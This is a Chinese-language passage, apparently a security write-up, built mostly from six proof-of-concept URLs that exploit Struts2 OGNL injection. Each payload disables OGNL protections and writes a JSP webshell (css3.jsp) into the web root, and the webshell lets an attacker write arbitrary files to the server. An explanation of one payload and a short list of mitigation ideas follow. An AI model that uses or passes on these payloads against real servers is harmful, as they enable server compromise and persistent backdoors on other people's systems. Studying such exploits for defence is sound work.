http://127.0.0.1/Struts2/test.action?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean(%22false%22)))&(i1)(('\43req\[email protected]@getRequest()')(d))&(i12)(('\43xman\[email protected]@getResponse()')(d))&(i13)(('\43xman.getWriter().println(\43req.getServletContext().getRealPath(%22\u005c%22))')(d))&(i2)(('\43fos\75new\40java.io.FileOutputStream(new\40java.lang.StringBuilder(\43req.getRealPath(%22\u005c%22)).append(@[email protected]).append(%22css3.jsp%22).toString())')(d))&(i3)(('\43fos.write(\43req.getParameter(%22p%22).getBytes())')(d))&(i4)(('\43fos.close()')(d))&p=%3c%25if(request.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%22))).write(request.getParameter(%22t%22).getBytes())%3b%25%3e
POC2(類型轉換漏洞需要把POC加在整型參數上):
http://127.0.0.1/Struts2/test.action?id='%2b(%23_memberAccess[%22allowStaticMethodAccess%22]=true,[email protected]@getRequest(),new+java.io.BufferedWriter(new+java.io.FileWriter(%23req.getRealPath(%22/%22)%2b%22css3.jsp%22)).append(%23req.getParameter(%22p%22)).close())%2b'%20&p=%3c%25if(request.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%22))).write(request.getParameter(%22t%22).getBytes())%3b%25%3e
POC3(需要注意這里也必須是加載一個String(字符串類型)的參數后面,使用的時候把URL里面的兩個foo替換成目標參數(注意POC里面還有個foo)):
http://127.0.0.1/Struts2/hello.action?foo=%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess[%22allowStaticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,[email protected]@getRequest(),new+java.io.BufferedWriter(new+java.io.FileWriter(%23req.getRealPath(%22/%22)%2b%22css3.jsp%22)).append(%23req.getParameter(%22p%22)).close())(meh%29&z[%28foo%29%28%27meh%27%29]=true&p=%3c%25if(request.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%22))).write(request.getParameter(%22t%22).getBytes())%3b%25%3e
POC4:
http://127.0.0.1/Struts2/hello.action?class.classLoader.jarPath=(%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d=+new+java.lang.Boolean(false),%23_memberAccess%5b%22allowStaticMethodAccess%22%5d=true,[email protected]@getRequest(),new+java.io.BufferedWriter(new+java.io.FileWriter(%23req.getRealPath(%22/%22)%2b%22css3.jsp%22)).append(%23req.getParameter(%22p%22)).close()(aa)&x[(class.classLoader.jarPath)('aa')]&p=%3c%25if(request.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%22))).write(request.getParameter(%22t%22).getBytes())%3b%25%3e
POC5:
http://127.0.0.1/Struts2/hello.action?a=1${%23_memberAccess[%22allowStaticMethodAccess%22]=true,[email protected]@getRequest(),new+java.io.BufferedWriter(new+java.io.FileWriter(%23req.getRealPath(%22/%22)%2b%22css3.jsp%22)).append(%23req.getParameter(%22p%22)).close()}&p=%3c%25if(request.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%22))).write(request.getParameter(%22t%22).getBytes())%3b%25%3e
POC6:
http://localhost/Struts2/test.action?redirect:${%23req%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),%23p%3d(%23req.getRealPath(%22/%22)%2b%22css3.jsp%22).replaceAll("\\\\", "/"),new+java.io.BufferedWriter(new+java.io.FileWriter(%23p)).append(%23req.getParameter(%22c%22)).close()}&c=%3c%25if(request.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%22))).write(request.getParameter(%22t%22).getBytes())%3b%25%3e
比如POC4當中首先就是把allowStaticMethodAccess改為trute即允許靜態方法訪問。然后再獲取請求對象,從請求對象中獲取網站項目的根路徑,然后在根目錄下新建一個css3.jsp,而css3.jsp的內容同樣來自于客戶端的請求。POC4中的p就是傳入的參數,只要獲取p就能獲取到內容完成文件的寫入了。之前已經說過Java不是動態的腳本語言,所以沒有eval。不能像PHP那樣直接用eval去動態執行,所以Java里面沒有真正意義上的一句話木馬。菜刀只是提供了一些常用的一句話的功能的具體的實現,所以菜刀的代碼會很長,因為這些代碼在有eval的情況下是可以通過發送請求的形式去構造的,在這里就必須把代碼給上傳到服務器去編譯成執行。
關于修補僅提供思路,具體的方法和補丁不提供了。Struts2默認后綴是action或者不寫后綴,有的改過代碼的可能其他后綴如.htm、.do,那么我們只要攔截這些請求進行過濾就行了。
1、? 從CDN層可以攔截所有Struts2的請求過濾OGNL執行代碼
2、? 從Server層在請求Struts2之前攔截其Ognl執行。
3、? 在項目層面可以在struts2的filter加一層攔截
4、? 在Struts2可以用攔截器攔截
5、? 在Ognl源碼包可以攔截惡意的Ognl請求
6、? 實在沒辦法就打補丁
7、? 終極解決辦法可以考慮使用其他MVC框架
?